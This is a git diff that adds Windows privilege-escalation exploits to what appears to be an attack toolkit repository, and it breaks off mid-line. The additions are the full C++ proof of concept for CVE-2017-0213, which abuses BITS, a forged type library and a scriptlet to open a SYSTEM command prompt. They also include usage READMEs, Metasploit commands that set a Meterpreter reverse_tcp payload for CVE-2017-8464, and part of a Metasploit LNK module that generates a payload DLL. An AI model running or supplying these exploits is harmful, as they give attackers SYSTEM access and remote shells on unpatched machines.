diff --git a/97-Windows提权/CVE-2017-0213/CVE-2017-0213-zcgonvh-master.zip b/97-Windows提权/CVE-2017-0213/CVE-2017-0213-zcgonvh-master.zip new file mode 100644 index 0000000..f78fa56 Binary files /dev/null and b/97-Windows提权/CVE-2017-0213/CVE-2017-0213-zcgonvh-master.zip differ diff --git a/97-Windows提权/CVE-2017-0213/CVE-2017-0213.cpp b/97-Windows提权/CVE-2017-0213/CVE-2017-0213.cpp new file mode 100644 index 0000000..d12d403 --- /dev/null +++ b/97-Windows提权/CVE-2017-0213/CVE-2017-0213.cpp @@ -0,0 +1,764 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107 + +Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP +Platform: Windows 10 10586/14393 not tested 8.1 Update 2 +Class: Elevation of Privilege + +Summary: +When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP. + +Description: + +Querying for an IID on a OOP (or remote) COM object calls the ORPC method RemQueryInterface or RemQueryInterface2 on the default proxy. This request is passed to the remote object which queries the implementation object and if successful returns a marshaled representation of that interface to the caller. + +The difference between RemQueryInterface and RemQueryInterface2 (RQI2) is how the objects are passed back to the caller. For RemQueryInterface the interface is passed back as a STDOBJREF which only contains the basic OXID/OID/IPID information to connect back. RemQueryInterface2 on the other hand passes back MInterfacePointer structures which is an entire OBJREF. The rationale, as far as I can tell, is that RQI2 is used for implementing in-process handlers, some interfaces can be marshaled using the standard marshaler and others can be custom marshaled. This is exposed through the Aggregate Standard Marshaler. + +The bug lies in the implementation of unpacking the results of the the RQI2 request in CStdMarshal::Finish_RemQIAndUnmarshal2. For each MInterfacePointer CStdMarshal::UnmarshalInterface is called passing the IID of the expected interface and the binary data wrapped in an IStream. CStdMarshal::UnmarshalInterface blindly unmarshals the interface, which creates a local proxy object but the proxy is created for the IID in the OBJREF stream and NOT the IID requested in RQI2. No further verification occurs at this point and the created proxy is passed back up the call stack until the received by the caller (through a void** obviously). + +If the IID in the OBJREF doesnt match the IID requested the caller doesnt know, if it calls any methods on the expected interface it will be calling a type confused object. This could result in crashes in the caller when it tries to access methods on the expected interface which arent there or are implemented differently. You could probably also return a standard OBJREF to a object local to the caller, this will result in returning the local object itself which might have more scope for exploiting the type confusion. In order to get the caller to use RQI2 we just need to pass it back an object which is custom marshaled with the Aggregate Standard Marshaler. This will set a flag on the marshaler which indicates to always use the aggregate marshaler which results in using RQI2 instead of RQI. As this class is a core component of COM its trusted and so isnt affected by the EOAC_NO_CUSTOM_MARSHAL setting. + +In order to exploit this a different caller needs to call QueryInterface on an object under a less trusted user's control. This could be a more privileged user (such as a sandbox broker), or a privileged service. This is pretty easy pattern to find, any method in an exposed interface on a more trusted COM object which takes an interface pointer or variant would potentially be vulnerable. For example IPersistStream takes an IStream interface pointer and will call methods on it. Another type of method is one of the various notification interfaces such as IBackgroundCopyCallback for BITS. This can probably also be used remotely if the attacker has the opportunity to inject an OBJREF stream into a connection which is set to CONNECT level security (which seems to be the default activation security). + +On to exploitation, as you well know Ive little interest in exploiting memory corruptions, especially as this would either this will trigger CFG on modern systems or would require a very precise lineup of expected method and actual called method which could be tricky to exploit reliably. However I think at least using this to escape a sandbox it might be your only option. So Im not going to do that, instead Im going to exploit it logically, the only problem is this is probably unexploitable from a sandbox (maybe) and requires a very specific type of callback into our object. + +The thing Im going to exploit is in the handling of OLE Automation auto-proxy creation from type libraries. When you implement an Automation compatible object you could implement an explicit proxy but if youve already got a Type library built from your IDL then OLEAUT32 provides an alternative. If you register your interface with a Proxy CLSID for PSOAInterface or PSDispatch then instead of loading your PS DLL it will load OLEAUT32. The proxy loader code will lookup the interface entry for the passed IID to see if theres a registered type library associated with it. If there is the code will call LoadTypeLib on that library and look up the interface entry in the type library. It will then construct a custom proxy object based on the type library information. + +The trick here is while in general we dont control the location of the type library (so its probably in a location we can write to such as system32) if we can get an object unmarshaled which indicates its IID is one of these auto-proxy interfaces while the privileged service is impersonating us we can redirect the C: drive to anywhere we like and so get the service to load an arbitrary type library file instead of a the system one. One easy place where this exact scenario occurs is in the aforementioned BITS SetNotifyInterface function. The service first impersonates the caller before calling QI on the notify interface. We can then return an OBJREF for a automation IID even though the service asked for a BITS callback interface. + +So what? Well its been known for almost 10 years that the Type library file format is completely unsafe. It was reported and it wasnt changed, Tombkeeper highlighted this in his Sexrets [sic] of LoadLibrary presentation at CSW 2015. You can craft a TLB which will directly control EIP. Now youd assume therefore Im trading a unreliable way of getting EIP control for one which is much easier, if you assume that youd be wrong. Instead Im going to abuse the fact that TLBs can have referenced type libraries, which is used instead of embedding the type definitions inside the TLB itself. When a reference type is loaded the loader will try and look up the TLB by its GUID, if that fails it will take the filename string and pass it verbatim to LoadTypeLib. Its a lesser know fact that this function, if it fails to find a file with the correct name will try and parse the name as a moniker. Therefore we can insert a scriptlet moniker into the type library, when the auto-proxy generator tries to find how many functions the interface implements it walks the inheritance chain, which causes the referenced TLB to be loaded, which causes a scriptlet moniker to be loaded and bound which results in arbitrary execution in a scripting language inside the privileged COM caller. + +The need to replace the C: drive is why this wont work as a sandbox escape. Also it's a more general technique, not specific to this vulnerability as such, you could exploit it in the low-level NDR marshaler layer, however its rare to find something impersonating the caller during the low-level unmarshal. Type libraries are not loaded using the flag added after CVE-2015-1644 which prevent DLLs being loaded from the impersonate device map. I think you might want to fix this as well as theres other places and scenarios this can occur, for example theres a number of WMI services (such as anything which touches GPOs) which result in the ActiveDS com object being created, this is automation compatible and so will load a type library while impersonating the caller. Perhaps the auto-proxy generated should temporarily disable impersonation when loading the type library to prevent this happening. + +Proof of Concept: + +Ive provided a PoC as a C++ source code file. You need to compile it first. It abuses the BITS SetNotifyInterface to get a type library loaded under impersonation. We cause it to load a type library which references a scriptlet moniker which gets us code execution inside the BITS service. + +1) Compile the C++ source code file. +2) Execute the PoC from a directory writable by the current user. +3) An admin command running as local system should appear on the current desktop. + +Expected Result: +The caller should realize theres an IID mismatch and refuse to unmarshal, or at least QI the local proxy for the correct interface. + +Observed Result: +The wrong proxy is created to that requested resulting in type confusion and an automation proxy being created resulting in code execution in the BITS server. +*/ + +// BITSTest.cpp : Defines the entry point for the console application. +// +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +static bstr_t IIDToBSTR(REFIID riid) +{ + LPOLESTR str; + bstr_t ret = "Unknown"; + if (SUCCEEDED(StringFromIID(riid, &str))) + { + ret = str; + CoTaskMemFree(str); + } + return ret; +} + +GUID CLSID_AggStdMarshal2 = { 0x00000027,0x0000,0x0008,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } }; +GUID IID_ITMediaControl = { 0xc445dde8,0x5199,0x4bc7,{ 0x98,0x07,0x5f,0xfb,0x92,0xe4,0x2e,0x09 } }; + +class CMarshaller : public IMarshal +{ + LONG _ref_count; + IUnknownPtr _unk; + + ~CMarshaller() {} + +public: + + CMarshaller(IUnknown* unk) : _ref_count(1) + { + _unk = unk; + } + + virtual HRESULT STDMETHODCALLTYPE QueryInterface( + /* [in] */ REFIID riid, + /* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject) + { + *ppvObject = nullptr; + printf("QI - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); + + if (riid == IID_IUnknown) + { + *ppvObject = this; + } + else if (riid == IID_IMarshal) + { + *ppvObject = static_cast(this); + } + else + { + return E_NOINTERFACE; + } + printf("Queried Success: %p\n", *ppvObject); + ((IUnknown*)*ppvObject)->AddRef(); + return S_OK; + } + + virtual ULONG STDMETHODCALLTYPE AddRef(void) + { + printf("AddRef: %d\n", _ref_count); + return InterlockedIncrement(&_ref_count); + } + + virtual ULONG STDMETHODCALLTYPE Release(void) + { + printf("Release: %d\n", _ref_count); + ULONG ret = InterlockedDecrement(&_ref_count); + if (ret == 0) + { + printf("Release object %p\n", this); + delete this; + } + return ret; + } + + virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass( + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][unique][in] */ + _In_opt_ void *pv, + /* [annotation][in] */ + _In_ DWORD dwDestContext, + /* [annotation][unique][in] */ + _Reserved_ void *pvDestContext, + /* [annotation][in] */ + _In_ DWORD mshlflags, + /* [annotation][out] */ + _Out_ CLSID *pCid) + { + *pCid = CLSID_AggStdMarshal2; + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax( + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][unique][in] */ + _In_opt_ void *pv, + /* [annotation][in] */ + _In_ DWORD dwDestContext, + /* [annotation][unique][in] */ + _Reserved_ void *pvDestContext, + /* [annotation][in] */ + _In_ DWORD mshlflags, + /* [annotation][out] */ + _Out_ DWORD *pSize) + { + *pSize = 1024; + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE MarshalInterface( + /* [annotation][unique][in] */ + _In_ IStream *pStm, + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][unique][in] */ + _In_opt_ void *pv, + /* [annotation][in] */ + _In_ DWORD dwDestContext, + /* [annotation][unique][in] */ + _Reserved_ void *pvDestContext, + /* [annotation][in] */ + _In_ DWORD mshlflags) + { + printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR()); + IID iid = riid; + if (iid == __uuidof(IBackgroundCopyCallback2) || iid == __uuidof(IBackgroundCopyCallback)) + { + printf("Setting bad IID\n"); + iid = IID_ITMediaControl; + } + HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags); + printf("Marshal Complete: %08X\n", hr); + return hr; + } + + virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface( + /* [annotation][unique][in] */ + _In_ IStream *pStm, + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][out] */ + _Outptr_ void **ppv) + { + return E_NOTIMPL; + } + + virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData( + /* [annotation][unique][in] */ + _In_ IStream *pStm) + { + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE DisconnectObject( + /* [annotation][in] */ + _In_ DWORD dwReserved) + { + return S_OK; + } +}; + +class FakeObject : public IBackgroundCopyCallback2, public IPersist +{ + LONG m_lRefCount; + + ~FakeObject() {}; + +public: + //Constructor, Destructor + FakeObject() { + m_lRefCount = 1; + } + + //IUnknown + HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) + { + if (riid == __uuidof(IUnknown)) + { + printf("Query for IUnknown\n"); + *ppvObj = this; + } + else if (riid == __uuidof(IBackgroundCopyCallback2)) + { + printf("Query for IBackgroundCopyCallback2\n"); + *ppvObj = static_cast(this); + } + else if (riid == __uuidof(IBackgroundCopyCallback)) + { + printf("Query for IBackgroundCopyCallback\n"); + *ppvObj = static_cast(this); + } + else if (riid == __uuidof(IPersist)) + { + printf("Query for IPersist\n"); + *ppvObj = static_cast(this); + } + else if (riid == IID_ITMediaControl) + { + printf("Query for ITMediaControl\n"); + *ppvObj = static_cast(this); + } + else + { + printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); + *ppvObj = NULL; + return E_NOINTERFACE; + } + + ((IUnknown*)*ppvObj)->AddRef(); + return NOERROR; + } + + ULONG __stdcall AddRef() + { + return InterlockedIncrement(&m_lRefCount); + } + + ULONG __stdcall Release() + { + ULONG ulCount = InterlockedDecrement(&m_lRefCount); + + if (0 == ulCount) + { + delete this; + } + + return ulCount; + } + + virtual HRESULT STDMETHODCALLTYPE JobTransferred( + /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob) + { + printf("JobTransferred\n"); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE JobError( + /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, + /* [in] */ __RPC__in_opt IBackgroundCopyError *pError) + { + printf("JobError\n"); + return S_OK; + } + + + virtual HRESULT STDMETHODCALLTYPE JobModification( + /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, + /* [in] */ DWORD dwReserved) + { + printf("JobModification\n"); + return S_OK; + } + + + virtual HRESULT STDMETHODCALLTYPE FileTransferred( + /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, + /* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile) + { + printf("FileTransferred\n"); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE GetClassID( + /* [out] */ __RPC__out CLSID *pClassID) + { + *pClassID = GUID_NULL; + return S_OK; + } +}; + +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); + +static HRESULT Check(HRESULT hr) +{ + if (FAILED(hr)) + { + throw _com_error(hr); + } + return hr; +} + +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +typedef NTSTATUS(NTAPI* fNtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName); +typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + +FARPROC GetProcAddressNT(LPCSTR lpName) +{ + return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName); +} + + +class ScopedHandle +{ + HANDLE _h; +public: + ScopedHandle() : _h(nullptr) + { + } + + ScopedHandle(ScopedHandle&) = delete; + + ScopedHandle(ScopedHandle&& h) { + _h = h._h; + h._h = nullptr; + } + + ~ScopedHandle() + { + if (!invalid()) + { + CloseHandle(_h); + _h = nullptr; + } + } + + bool invalid() { + return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE); + } + + void set(HANDLE h) + { + _h = h; + } + + HANDLE get() + { + return _h; + } + + HANDLE* ptr() + { + return &_h; + } + + +}; + +ScopedHandle CreateSymlink(LPCWSTR linkname, LPCWSTR targetname) +{ + fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString"); + fNtCreateSymbolicLinkObject pfNtCreateSymbolicLinkObject = (fNtCreateSymbolicLinkObject)GetProcAddressNT("NtCreateSymbolicLinkObject"); + + OBJECT_ATTRIBUTES objAttr; + UNICODE_STRING name; + UNICODE_STRING target; + + pfRtlInitUnicodeString(&name, linkname); + pfRtlInitUnicodeString(&target, targetname); + + InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr); + + ScopedHandle hLink; + + NTSTATUS status = pfNtCreateSymbolicLinkObject(hLink.ptr(), SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target); + if (status == 0) + { + printf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink.get()); + return hLink; + } + else + { + printf("Error creating link %ls: %08X\n", linkname, status); + return ScopedHandle(); + } +} + + +bstr_t GetSystemDrive() +{ + WCHAR windows_dir[MAX_PATH] = { 0 }; + + GetWindowsDirectory(windows_dir, MAX_PATH); + + windows_dir[2] = 0; + + return windows_dir; +} + +bstr_t GetDeviceFromPath(LPCWSTR lpPath) +{ + WCHAR drive[3] = { 0 }; + drive[0] = lpPath[0]; + drive[1] = lpPath[1]; + drive[2] = 0; + + WCHAR device_name[MAX_PATH] = { 0 }; + + if (QueryDosDevice(drive, device_name, MAX_PATH)) + { + return device_name; + } + else + { + printf("Error getting device for %ls\n", lpPath); + exit(1); + } +} + +bstr_t GetSystemDevice() +{ + return GetDeviceFromPath(GetSystemDrive()); +} + +bstr_t GetExe() +{ + WCHAR curr_path[MAX_PATH] = { 0 }; + GetModuleFileName(nullptr, curr_path, MAX_PATH); + return curr_path; +} + +bstr_t GetExeDir() +{ + WCHAR curr_path[MAX_PATH] = { 0 }; + GetModuleFileName(nullptr, curr_path, MAX_PATH); + PathRemoveFileSpec(curr_path); + + return curr_path; +} + +bstr_t GetCurrentPath() +{ + bstr_t curr_path = GetExeDir(); + + bstr_t ret = GetDeviceFromPath(curr_path); + + ret += &curr_path.GetBSTR()[2]; + + return ret; +} + +void TestBits() +{ + IBackgroundCopyManagerPtr pQueueMgr; + + Check(CoCreateInstance(__uuidof(BackgroundCopyManager), NULL, + CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr))); + + IUnknownPtr pOuter = new CMarshaller(static_cast(new FakeObject())); + IUnknownPtr pInner; + + Check(CoGetStdMarshalEx(pOuter, SMEXF_SERVER, &pInner)); + + IBackgroundCopyJobPtr pJob; + GUID guidJob; + Check(pQueueMgr->CreateJob(L"BitsAuthSample", + BG_JOB_TYPE_DOWNLOAD, + &guidJob, + &pJob)); + + IUnknownPtr pNotify; + pNotify.Attach(new CMarshaller(pInner)); + { + ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath()); + printf("Result: %08X\n", pJob->SetNotifyInterface(pNotify)); + } + if (pJob) + { + pJob->Cancel(); + } + printf("Done\n"); +} + +class CoInit +{ +public: + CoInit() + { + Check(CoInitialize(nullptr)); + Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, + RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING, nullptr)); + } + + ~CoInit() + { + CoUninitialize(); + } +}; + +// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0} +static const GUID IID_BaseInterface = +{ 0xd487789c, 0x32a3, 0x4e22,{ 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } }; + +// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02} +static const GUID TypeLib_BaseInterface = +{ 0x6c6c9f33, 0xae88, 0x4ec2,{ 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } }; + +GUID TypeLib_Tapi3 = { 0x21d6d480,0xa88b,0x11d0,{ 0x83,0xdd,0x00,0xaa,0x00,0x3c,0xca,0xbd } }; + +void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid) +{ + DeleteFile(filename); + ICreateTypeLib2Ptr tlb; + Check(CreateTypeLib2(SYS_WIN32, filename, &tlb)); + tlb->SetGuid(typelib_guid); + + ITypeInfoPtr ref_type_info; + Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info)); + + ICreateTypeInfoPtr create_info; + Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info)); + Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION)); + HREFTYPE ref_type; + Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type)); + Check(create_info->AddImplType(0, ref_type)); + Check(create_info->SetGuid(iid)); + Check(tlb->SaveAllChanges()); +} + +std::vector ReadFile(bstr_t path) +{ + ScopedHandle hFile; + hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr)); + if (hFile.invalid()) + { + throw _com_error(E_FAIL); + } + DWORD size = GetFileSize(hFile.get(), nullptr); + std::vector ret(size); + if (size > 0) + { + DWORD bytes_read; + if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size) + { + throw _com_error(E_FAIL); + } + } + + return ret; +} + +void WriteFile(bstr_t path, const std::vector data) +{ + ScopedHandle hFile; + hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr)); + if (hFile.invalid()) + { + throw _com_error(E_FAIL); + } + + if (data.size() > 0) + { + DWORD bytes_written; + if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size()) + { + throw _com_error(E_FAIL); + } + } +} + +void WriteFile(bstr_t path, const char* data) +{ + const BYTE* bytes = reinterpret_cast(data); + std::vector data_buf(bytes, bytes + strlen(data)); + WriteFile(path, data_buf); +} + +void BuildTypeLibs(LPCSTR script_path) +{ + ITypeLibPtr stdole2; + Check(LoadTypeLib(L"stdole2.tlb", &stdole2)); + + printf("Building Library with path: %s\n", script_path); + unsigned int len = strlen(script_path); + + bstr_t buf = GetExeDir() + L"\\"; + for (unsigned int i = 0; i < len; ++i) + { + buf += L"A"; + } + + Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch); + ITypeLibPtr abc; + Check(LoadTypeLib(buf, &abc)); + + + bstr_t built_tlb = GetExeDir() + L"\\output.tlb"; + Create(built_tlb, "ITMediaControl", TypeLib_Tapi3, IID_ITMediaControl, abc, IID_BaseInterface); + + std::vector tlb_data = ReadFile(built_tlb); + for (size_t i = 0; i < tlb_data.size() - len; ++i) + { + bool found = true; + for (unsigned int j = 0; j < len; j++) + { + if (tlb_data[i + j] != 'A') + { + found = false; + } + } + + if (found) + { + printf("Found TLB name at offset %zu\n", i); + memcpy(&tlb_data[i], script_path, len); + break; + } + } + + CreateDirectory(GetExeDir() + L"\\Windows", nullptr); + CreateDirectory(GetExeDir() + L"\\Windows\\System32", nullptr); + + bstr_t target_tlb = GetExeDir() + L"\\Windows\\system32\\tapi3.dll"; + WriteFile(target_tlb, tlb_data); +} + +const wchar_t x[] = L"ABC"; + +const wchar_t scriptlet_start[] = L"\r\n\r\n\r\n" +"\r\n"\ +"\r\n"\ +"\r\n"\ +"\r\n"\ +"\r\n"; + +bstr_t CreateScriptletFile() +{ + bstr_t script_file = GetExeDir() + L"\\run.sct"; + bstr_t script_data = scriptlet_start; + bstr_t exe_file = GetExe(); + wchar_t* p = exe_file; + while (*p) + { + if (*p == '\\') + { + *p = '/'; + } + p++; + } + + DWORD session_id; + ProcessIdToSessionId(GetCurrentProcessId(), &session_id); + WCHAR session_str[16]; + StringCchPrintf(session_str, _countof(session_str), L"%d", session_id); + + script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end; + + WriteFile(script_file, script_data); + + return script_file; +} + +void CreateNewProcess(const wchar_t* session) +{ + DWORD session_id = wcstoul(session, nullptr, 0); + ScopedHandle token; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr())) + { + throw _com_error(E_FAIL); + } + + ScopedHandle new_token; + + if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr())) + { + throw _com_error(E_FAIL); + } + + SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id)); + + STARTUPINFO start_info = {}; + start_info.cb = sizeof(start_info); + start_info.lpDesktop = L"WinSta0\\Default"; + PROCESS_INFORMATION proc_info; + WCHAR cmdline[] = L"cmd.exe"; + if (CreateProcessAsUser(new_token.get(), nullptr, cmdline, + nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info)) + { + CloseHandle(proc_info.hProcess); + CloseHandle(proc_info.hThread); + } +} + +int wmain(int argc, wchar_t** argv) +{ + try + { + CoInit ci; + if (argc > 1) + { + CreateNewProcess(argv[1]); + } + else + { + bstr_t script = L"script:" + CreateScriptletFile(); + BuildTypeLibs(script); + TestBits(); + } + } + catch (const _com_error& err) + { + printf("Error: %ls\n", err.ErrorMessage()); + } + + return 0; +} diff --git a/97-Windows提权/CVE-2017-0213/CVE-2017-0213_x64.zip b/97-Windows提权/CVE-2017-0213/CVE-2017-0213_x64.zip new file mode 100644 index 0000000..6dcc9db Binary files /dev/null and b/97-Windows提权/CVE-2017-0213/CVE-2017-0213_x64.zip differ diff --git a/97-Windows提权/CVE-2017-0213/CVE-2017-0213_x86.zip b/97-Windows提权/CVE-2017-0213/CVE-2017-0213_x86.zip new file mode 100644 index 0000000..a502c8f Binary files /dev/null and b/97-Windows提权/CVE-2017-0213/CVE-2017-0213_x86.zip differ diff --git a/97-Windows提权/CVE-2017-0213/README.md b/97-Windows提权/CVE-2017-0213/README.md new file mode 100644 index 0000000..f94bcf6 --- /dev/null +++ b/97-Windows提权/CVE-2017-0213/README.md @@ -0,0 +1,33 @@ +# CVE-2017-0213 + +Windows COM Elevation of Privilege Vulnerability + +**Description** +``` +An elevation of privilege exists in Windows COM Aggregate Marshaler. +An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges. +To exploit the vulnerability, an attacker could run a specially crafted application that could exploit the vulnerability. +This vulnerability by itself does not allow arbitrary code to be run. +However, this vulnerability could be used in conjunction with one or more vulnerabilities (e.g. a remote code execution vulnerability and another elevation of privilege) that could take advantage of the elevated privileges when running. +The update addresses the vulnerability by correcting how Windows COM Marshaler processes interface requests. +``` +- The exp was from [@WindowsExploits](https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213/Source) + +Vulnerability reference: + * [CVE-2017-0213](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0213) + * [exp-db](https://www.exploit-db.com/exploits/42020/) + + +## Usage +- [YouTube-CVE 2017-0213](https://www.youtube.com/watch?v=6naFH9MQHy8)   +``` +c:\> CVE-2017-0213_x64.exe +``` +![win10](win10.png) + + +## References +- [Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP](https://bugs.chromium.org/p/project-zero/issues/detail?id=1107) +- [Microsoft](https://portal.msrc.microsoft.com/en-US/eula) + + diff --git a/97-Windows提权/CVE-2017-0213/win10.png b/97-Windows提权/CVE-2017-0213/win10.png new file mode 100644 index 0000000..b03582b Binary files /dev/null and b/97-Windows提权/CVE-2017-0213/win10.png differ diff --git a/97-Windows提权/CVE-2017-8464/README.md b/97-Windows提权/CVE-2017-8464/README.md new file mode 100644 index 0000000..721fb9d --- /dev/null +++ b/97-Windows提权/CVE-2017-8464/README.md @@ -0,0 +1,30 @@ +# CVE-2017-8464 +``` +Windows Shell in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, +Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 +allows local users or remote attackers to execute arbitrary code via a crafted .LNK file, which is not properly handled +during icon display in Windows Explorer or any other application that parses the icon of the shortcut. +aka "LNK Remote Code Execution Vulnerability." +``` + +Vulnerability reference: + * [CVE-2017-8464](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8464) + * [exp-db](https://www.exploit-db.com/exploits/42382/) + + +## load the module within the Metasploit +[msf](https://www.rapid7.com/db/modules/exploit/windows/local/ms10_092_schelevator) +``` +msf > use exploit/windows/fileformat/cve_2017_8464_lnk_rce +msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(cve_2017_8464_lnk_rce) > set lhost +msf exploit(cve_2017_8464_lnk_rce) > set lport 8988 +msf exploit(cve_2017_8464_lnk_rce) > run +msf exploit(ms10_092_schelevator) > exploit + +msf exploit(cve_2017_8464_lnk_rce) > use exploit/multi/handler +msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(handler) > set lhost +msf exploit(handler) > set lport 8988 +msf exploit(handler) > run +``` \ No newline at end of file diff --git a/97-Windows提权/CVE-2017-8464/cve_2017_8464_lnk_rce.rb b/97-Windows提权/CVE-2017-8464/cve_2017_8464_lnk_rce.rb new file mode 100644 index 0000000..0e52ecc --- /dev/null +++ b/97-Windows提权/CVE-2017-8464/cve_2017_8464_lnk_rce.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + + attr_accessor :exploit_dll_name + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'LNK Remote Code Execution Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) + that contain a dynamic icon, loaded from a malicious DLL. + + This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is + similar except in an additional SpecialFolderDataBlock is included. The folder ID set + in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass + the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary + DLL file. + }, + 'Author' => + [ + 'Uncredited', # vulnerability discovery + 'Yorick Koster' # msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2017-8464'], + ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'], + ['URL', 'http://paper.seebug.org/357/'], # writeup + ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Arch' => [ARCH_X86, ARCH_X64], + 'Payload' => + { + 'Space' => 2048, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows x64', { 'Arch' => ARCH_X64 } ], + [ 'Windows x86', { 'Arch' => ARCH_X86 } ] + ], + 'DefaultTarget' => 0, # Default target is 64-bit + 'DisclosureDate' => 'Jun 13 2017')) + + register_advanced_options( + [ + OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]) + ]) + end + + def exploit + dll = generate_payload_dll + dll_name = "#{rand_text_alpha(16)}.dll" + dll_path = store_file(dll, dll_name) + print_status("#{dll_path} created copy it to the root folder of the target USB drive") + + # HACK the vulnerability doesn't appear to work with UNC paths + # Create LNK files to different drives instead + 'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i| + lnk = generate_link("#{i}:\\#{dll_name}") + lnk_path = store_file(lnk, 